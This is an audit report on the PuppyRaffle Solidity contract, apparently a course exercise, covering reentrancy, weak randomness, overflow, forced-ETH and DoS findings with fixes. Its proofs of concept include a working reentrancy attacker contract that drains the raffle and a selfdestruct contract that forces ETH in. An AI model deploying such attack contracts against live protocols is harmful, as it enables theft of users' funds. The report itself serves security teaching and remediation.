PuppyRaffle Audit Report

Version 1.0

Norbert Orgován

January 22, 2024

Protocol Audit Report

Norbert Orgován

January 22, 2024

Prepared by: Orgovan & Churros

Lead Auditors: - Norbert Orgovan

Table of Contents

- [H-5] `PuppyRaffle::refund` replaces the address of the refunded player with address(0), which can cause the function `PuppyRaffle::selectWinner` to always revert
- Medium
  * [M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants
  * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
  * [M-3] Is a smart contract wins the raffle and it does not have a `receive` or `fallback` fucntion, then this will block the start of a new contract until a non-smart-contract winner or a smart contract winner with these functions is found
- Low
  * [L-1] The `PuppyRaffle::getActivePlayerIndex` function returns the index of an acitve player but, at the same time, index 0 is also used to signify an inactive player, causing an edge case for player 1 with index 0, meaning that even if player 1 entered the raffle, he might thnk he is inactive
  * [L-2] Missing `WinnerSelected`/`FeesWithdrawn` event emissions in functions `PuppyRaffle::selectWinner` / `PuppyRaffle::withdrawFees`
- Gas
  * [G-1] Unchanged state variables should be declared constant or immutable
  * [G-2] Storage variables in a loop should be cached
- Informational
  * [I-1]: Solidity pragma should be specific, not wide
  * [I-2] Using an outdated version of Solidity is not recommended.
  * [I-3] Missing checks for `address(0)` when assigning values to address state variables
  * [I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice
  * [I-5] Use of "magic" numbers (numbers without descriptors) is discouraged
  * [I-6] The function `PuppyRaffle::_isActivePlayer` is neved used and should be removed
  * [I-7] Public functions `PuppyRaffle::enterRaffle` and `PuppyRaffle::refund` are not used internally, can me declared as external functions.
- Additional findings not taught in the course
  * MEV

Protocol Summary

The purpose of the Puppy Raffle Protocol is to facilitate a raffle system, where participants can win a unique dog-themed Non-Fungible Token (NFT). The protocol's core functionalities are outlined as follows:

1. Raffle Entry Process: Participants enter the raffle by invoking the enterRaffle function. This function requires an array of addresses, address[] participants, as a parameter. It allows for a single user to enter multiple times, either individually or as part of a group, by submitting multiple addresses.
2. Address Uniqueness: The protocol is designed to ensure that duplicate addresses within a single raffle entry are not permitted. This mechanism upholds the integrity of each entry.
3. Refund Mechanism: Participants have the option to request a refund for their raffle ticket. This is accomplished by calling the refund function, which returns the ticket's cost (value) to the user.
4. Winner Selection and NFT Minting: The raffle is programmed to automatically select a winner at predetermined intervals (every X seconds). Upon selection, a random puppy NFT is minted and awarded to the winner.
5. Fee Allocation: The protocol's owner is responsible for setting a feeAddress. A portion of the raffle's collected value (value) is allocated to this address as a fee. The remainder of the funds is distributed to the raffle winner.

Disclaimer

The Orgovan & Churros team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M

		Impact		
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

We had 1 expert auditor assigned to this audit who spent xxx hours to thouroughly review the PuppyRaffle codebase. Using both manual review and a number of tools (e.g. Slyther, Aderyn), a number of issues have been found, as detailed below.

Severity	Number of issues found
High	5
Medium	3

Severity	Number of issues found
Low	2
Informational	7
Gas	2
Total	19

Issues found

Findings

High

[H-1] Reentrancy attack is `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (check, effect, interactions) and, as a result, allows attackers to drain the contract balance using reentrancy.

In the `PuppyRaffle::refund` function we first make an external call to the `msg.sender` address, and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback` / `receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. Users enter the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

Place the following into `PuppyRaffleTest.t.sol`:

Code

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);

        address attackUser = makeAddr("attackUser");
        // deal money to the attacker so it can enter the raffle
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerBalance = address(attackerContract).
            balance;
        uint256 startingRaffleBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        uint256 finalAttackerBalance = address(attackerContract).
            balance;
        uint256 finalRaffleBalance = address(puppyRaffle).balance;

        console.log("Starting attacker contract balance: ",
            startingAttackerBalance);
        console.log("Starting raffle contract balance: ",
            startingRaffleBalance);
        console.log("Final attacker contract balance: ",
            finalAttackerBalance);
        console.log("Final raffle contract balance: ",
            finalRaffleBalance);
    }
```

…and this contract as well:

Code

```solidity
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;

    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players); // enter
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex); // immediately refund, this
            refund will call back this contract, to the receive /
            fallback function
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex); // call this until we
                empty the Raffle contact's balance
        }
    }

    receive() external payable {
        _stealMoney();
    }

    fallback() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```diff
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);
          payable(msg.sender).sendValue(entranceFee);
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence / predict the winner, and influence or predict the prize puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` is they see they are not the winner.

Impact: Any user can influence the winnder of the raffle, winning the money and selecting the `rarest` puppy for themselves. This makes the entire raffle worthless since it can become a gas war about who wisn the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and the `block.difficulty` and use that to predict when/how participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction is they do not like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator, such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows / underflows.

```
uint64 myVar = type(uint64).max // 18446744073709551615
myvar = myVar + 1 //myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of players that will bring the `totalFees` variable close to overflow. 2. Then in the next raffle we have 4 players entering the raffle (the minimum), and then conslude the raffle. 3. `totalFees` will be less after step 2 than it has been after step 1,s signifying an overflow. 4. You will be not be able to withdraw ANY FEES, due to the line in `PuppyRaffle::withdrawFees`, since it requires a strong equality that is broken due to the overflow:

```
        require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
```

Although you could use `selfdesctruct` to send ETH to this contract in order for the values to match and withdraw the fees left after the overflow, although this would mean a huge loss already. (Also, after a while the `balance` of the contract will be so large that the above `require` statement would be impossible to hit.)

Proof of Code:

Place the following test to `PuppyRaffleTest.t.sol`:

Code

```
    function test_totalFeesOverflow() public {
        // original entrance fee is 1e18
        // max value of uint64 is 18446744073709551615

        uint256 uint64MaxValue = type(uint64).max; //
            18446744073709551615
        uint256 playerNumWoOverflow = uint64MaxValue / ((entranceFee *
            20) / 100);
        uint256 playersNum = playerNumWoOverflow; // 92

        // create 2 batches of players
        address[] memory players1stBatch = new address[](playersNum);
            // arrays declared in memory cannot change in size, size
            needs to be specified at declaration
        for (uint256 i = 0; i < playersNum; i++) {
            players1stBatch[i] = address(uint160(i)); // use dummy
                addresses
        }

        playersNum = 4;
        address[] memory players2ndBatch = new address[](playersNum);
            // arrays declared in memory cannot change in size, size
            needs to be specified at declaration
        for (uint256 i = 0; i < playersNum; i++) {
            players2ndBatch[i] = address(uint160(i + playersNum)); //
                use dummy addresses
        }

        // let the 1st batch enter the game
        puppyRaffle.enterRaffle{value: entranceFee * players1stBatch.
           length}(players1stBatch);
        // advance time with 1 day so the raffle duration is over
        vm.warp(block.timestamp + duration + 1);
        // select winner (totalFees is calculated in this function,
           increases from raffle to raffle until withdrawn)
        puppyRaffle.selectWinner();
        // check totalFees after 1st batch
        uint64 totalFeesAfter1stBatch = puppyRaffle.totalFees();

        // let the second batch of players enter
        puppyRaffle.enterRaffle{value: entranceFee * players2ndBatch.
           length}(players2ndBatch);
        // advance time with 1 day so the raffle duration is over
        vm.warp(block.timestamp + duration + 1);
        // select winner (totalFees is calculated in this function,
           increases from raffle to raffle until withdrawn)
        puppyRaffle.selectWinner();
        // check totalFees after 1st batch
        uint64 totalFeesAfter2ndBatch = puppyRaffle.totalFees();

        console.log("Total fees after the first batch of entrants: ",
           totalFeesAfter1stBatch);
        console.log("Total fees after the second batch of entrants: ",
           totalFeesAfter2ndBatch);

        assert(totalFeesAfter2ndBatch < totalFeesAfter1stBatch);

        // We are also unable to withdraw any fees because of the
           require check expects a strong equality which breaks due to
           the overflow
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations: 1. Use a newer version os solidity, and a `uint256` instead if `uint64` for `PuppyRaffle:totalFees`. 2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected. 3. Remove the balance check from `PuppyRaffle::withdrawFees`:

```
-        require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
```

There are more attack vectors with this final require, so we recommend removing it regardless.

[H-4] Strong equality in the require statement in `PuppyRaffle::withdrawFees` makes the contract vulnerable to ETH mishandling

Description: In order for the protocol to be able to withdraw protocol fees from `PuppyRaffle` to `feeAddress`, the following condition has to be satisfied:

```
        require(address(this).balance == uint256(totalFees), "
           PuppyRaffle: There are currently players active!");
```

`PuppyRaffle` does not have a `receive` or `fallback` function, so it could not accept ETH in any other way than through `PuppyRaffle:enterRaffle`, so this strict equality would normally hold. However, an external contract using `selfdescruct` could still force ETH to `PuppyRaffle`, which would immediately break the strong equality.

In general, requiring strong equality is a bad idea, as it can be broken multiple ways (apart from the above, consider any msimatches dues to truncating, etc.)

Impact: The strong equality would not hold, it would be impossible to withdraw and protocol fees from the contract, protocol fees would be stuck there forever.

Proof of Concept: 1. Raffles are started and concluded, one after each other. Protocol fees are accumulated in `totalFees`. 2. An external contract with non-zero ETH balance selfdesctructs using `selfdesctruct`, and forces its ETH to the `PuppyRaffle` contract. 3. As a result, the balance of `PuppyRaffle` increases, but `totalFees` stay the same, equality breaks between the two. 4. It becomes impossible to withdraw any fees from the protocol.

Proof of code:

Place this function in `PuppyRaffleTest.t.sol`:

Code

```
    function test_mishandlingOfEth() public playersEntered {
        // conclude the first raffle with 4 players
        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();

        // check the collected protocol fees
        uint256 totalFees = puppyRaffle.totalFees();
        console.log("Protocol fees collected: ", totalFees);
        assertEq(totalFees, address(puppyRaffle).balance);

        address ethForcer = makeAddr("ethForcer"); // address which will deploy the self-destroying contract
        SelfDesctructMe selfdestructMe;
        vm.prank(ethForcer);
        selfdestructMe = new SelfDesctructMe(address(puppyRaffle)); // deploy the self-destructing contract
        vm.deal(address(selfdestructMe), 1 ether); // give 1 ETH the self-desctructing contract
        vm.prank(ethForcer);
        selfdestructMe.destroy(); // destroy and, meanwhile, force ETH to PuppyRaffle

        assert(totalFees <= address(puppyRaffle).balance);

        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

and also this contract:

Code

```

contract SelfDesctructMe {
    PuppyRaffle puppyRaffle;

    address public owner;
    address public forceEthTo;

    constructor(address _forceEthTo) {
        owner = msg.sender;
        forceEthTo = _forceEthTo;
    }

    function destroy() external {
        require(msg.sender == owner, "Only the owner can destroy this contract.");
        selfdestruct(payable(forceEthTo));
    }
}
```

Recommended Mitigation: Do not use strong equality. Instead, use the following:

```
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+       require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

[H-5] `PuppyRaffle::refund` replaces the address of the refunded player with address(0), which can cause the function `PuppyRaffle::selectWinner` to always revert

Description When refunding a player, `PuppyRaffle::refund` replaces the player's address with address(0), which is considered a valid value by solidity. This can cause a lot issues because the players array length is unchanged and address(0) is now considered a player.

```
players[playerIndex] = address(0);

@> uint256 totalAmountCollected = players.length * entranceFee;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

Impact: The lottery is stopped, any call to the function `PuppyRaffle::selectWinner` will revert. There is no actual loss of funds for users as they can always refund and get their tokens back. However, the protocol is shut down and will lose all its customers. A core functionality is exposed.

Proof of Concept: 1. Five players enter the raffle. 2. One of the players calls the refund function. 3. The raffle ends. 4. `PuppyRaffle::selectWinner` will revert as there will be no enough funds.

Proof of Code

Add this code to `PuppyRaffleTest.t.sol`:

Code

```
function testWinnerSelectionRevertsAfterExit() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // There are four winners. Winner is last slot
        vm.prank(playerFour);
        puppyRaffle.refund(3);

        // reverts because out of Funds
        vm.expectRevert();
        puppyRaffle.selectWinner();

        vm.deal(address(puppyRaffle), 10 ether);
        vm.expectRevert("ERC721: mint to the zero address");
        puppyRaffle.selectWinner();

    }
```

Recommended Mitigation: Delete the address of a refunded player from the `players` array as follows:

```
-    players[playerIndex] = address(0);
```

```diff

+    players[playerIndex] = players[players.length - 1];
+    players.pop()
```

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants

Description: The `PuppyRaffle:enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PupplyRaffle:players` is, the more checks have to be made when someone new wants to enter. This means that the gas costs for players who enter right when the raffle starts will be dramatically less than for those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// audit DoS attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas cost for raffle enterance will greatly increase as more players enter the raffle, discouraging later users to enter, and causing a rush when the raffle starts.

An attacker might make the `PuppyRaffle:palyers` array so big that no one else enters, guaranteeing them a win.

Proof of Concept:

If we have 2 sets of 100 players to enter, the gas costs will be as such: - 1st 100 players: 6252048 gas - 2nd 100 players: 18068135 gas

This is more than 3x more expensive for the 2nd 100 players.

PoC

Place the following test to `PuppyRaffleTest.t.sol`:

```
    function test_denialOfService_a() public {
        vm.txGasPrice(1); // FOundry cheat code for setting gas price
            to 1 (to avoid any funny business)

        // let the first 100 players enter
```

```solidity
        uint256 playersNum = 100;
        address[] memory players1stBatch = new address[](playersNum); // arrays declared in memory cannot change in size, size needs to be specified at declaration
        for (uint256 i = 0; i < playersNum; i++) {
            players1stBatch[i] = address(uint160(i)); // use dummy addresses
        }

        // see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players1stBatch.length}(players1stBatch);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players is ", gasUsedFirst);

        // let the 2nd 100 players enter
        address[] memory players2ndBatch = new address[](playersNum); // arrays declared in memory cannot change in size, size needs to be specified at declaration
        for (uint256 i = 0; i < playersNum; i++) {
            players2ndBatch[i] = address(uint160(i + playersNum)); // use dummy addresses, address 100, 101...
        }

        // see how much gas it costs
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players2ndBatch.length}(players2ndBatch);
        gasEnd = gasleft();
        uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the 2nd 100 players is ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }


    // block gas limit is 30 million on ethereum BUT in a local testing environment it is not stricly enforced for convenience.
    // So this is not a feasible way to test DoS.
    function test_denialOfService_b() public {
        uint256 playersNum = 100000;
        address[] memory players = new address[](playersNum); // arrays declared in memory cannot change in size, size needs to be specified at declaration
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(uint160(i + 1)); // use dummy addresses
        }
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check does not prevent the same person to enter multiple times, only the same wallet address.

```
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

        emit RaffleEnter(newPlayers);
    }
```

2. Consider using a mapping for checking duplicates. This would allow constant time lookup to check whether a user has already entered the raffle.

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           usersToRaffleId[newPlayers[i]] = raffleID;
        }

        // Check for duplicates
+       for (uint256 i = 0; i < newPlayers.length; i++){
+           require(usersToRaffleId[newPlayers[i]] != raffleID, "
    PuppyRaffle: Already a participant");

-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
        }

        emit RaffleEnter(newPlayers);
    }
.
```

```
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;
    }
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
           );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18 ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
```

```
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
        (...)
    }
```

[M-3] Is a smart contract wins the raffle and it does not have a `receive` or `fallback` fucntion, then this will block the start of a new contract until a non-smart-contract winner or a smart contract winner with these functions is found

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment (the sent prize reward in ETH), the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-contract entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could be very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making the lottery reset difficult. (Also, true winners (original winners) would not get paid, and someone else could take their money.)

Proof of Concept:

1. 10 smart contract wallets enter the raffle without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function would not work, even though the lottery is over.

Recommended Mitigation: There are a few options to mitigate this issue:

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout, so winner could pull their funds out themselves with a new `claimPrize` function, requiring the owner of the winner address to claim their prize (recommended).

> Pull over push!

Low

[L-1] The `PuppyRaffle::getActivePlayerIndex` function returns the index of an acitve player but, at the same time, index 0 is also used to signify an inactive player, causing an edge case for player 1 with index 0, meaning that even if player 1 entered the raffle, he might thnk he is inactive

Description: The `PuppyRaffle::getActivePlayerIndex` function returns a value that is supposed to signify whether a player is active or inactive: an index greater than 0 is supposed to signify an active player, an index equal to 0 is supposed to signify an inavtive player. However, the index of the first player in the `PuppyRaffle::players` array is 0, which clashes with 0 being the signifier of an inactive player. Consequently, player 0 will seem to be inacitve even if he entered the raffle.

Impact: The player at index 0 seems to be inactive even if he played the fee. THis user might attempt to enter the raffle again, wasting gas. (However, this player can still get a refund or can win.)

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle:getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly.

Proof of Code

Add this code to `PuppyRaffleTest.t.sol`:

Code

```

    function test_firstPlayerAppearsInactiveEvenIfEntered() public {
        // player 0 enters
        address[] memory players = new address[](1);
        players[0] = playerOne;
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        // check whether active
        uint256 inactiveIndicator = 0;
        uint256 activeOrNot = puppyRaffle.getActivePlayerIndex(
            playerOne);

        assertEq(activeOrNot, inactiveIndicator);
    }
```

Recommended Mitigation: There are multiple options: - instead of returning 0, revert if the player is not in the array; - denoting inactivity with a negative number, e.g. -1, so return a `int256` and, specifically, -1 for inactive players.

[L-2] Missing `WinnerSelected`/`FeesWithdrawn` event emissions in functions `PuppyRaffle::selectWinner` / `PuppyRaffle::withdrawFees`

Description No events are emitted after state changes in `PuppyRaffle::selectWinner` and `PuppyRaffle::withdrawFees`. Events for critical state changes (e.g. owner and other critical parameters like a winner selection or the fees withdrawn) should be emitted for off-chain tracking.

Impact These events cannot be tracked off-chain and, hence, no automation can be built on them. E.g. the protocol owner might want to automatically withdraw fees right after a raffle has concluded, but lacking any emitted events, they have to read the blockchain instead which is costly.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expencive than reading from a constant or immutable variable.

Intances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::legendaryImageUri` should be constant

[G-2] Storage variables in a loop should be cached

Every time you call `players.length` yoiu read from storage, as oposed to memory which is more gas efficient.

```diff
+        uint256 playerLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playerLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playerLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 4

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of Solidity is not recommended.

Please use a newer version lke `0.8.18`.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see the slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 70

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 184

```
        previousWinner = winner; // e vanity, does not used
            anywhere
```

- Found in src/PuppyRaffle.sol Line: 209

```
        feeAddress = newFeeAddress;
```

[I-4] **`PuppyRaffle::selectWinner`** should follow CEI, which is not a best practice

Description:

It is best to keep the code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "magic" numbers (numbers without descriptors) is discouraged

It can be confusing to see number literals in a codebase and it is much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] The function `PuppyRaffle::_isActivePlayer` is neved used and should be removed

To avoid confusion and have better clarity, remove dead code that is not used elsewhere. `PuppyRaffle::_isActivePlayer` is such a piece of code.

[I-7] Public functions `PuppyRaffle::enterRaffle` and `PuppyRaffle::refund` are not used internally, can me declared as external functions.

To avoid confusion and have better clarity, declare the `PuppyRaffle::enterRaffle` and `PuppyRaffle::refund` functions as external instead of public; they are not used internally.

Additional findings not taught in the course

MEV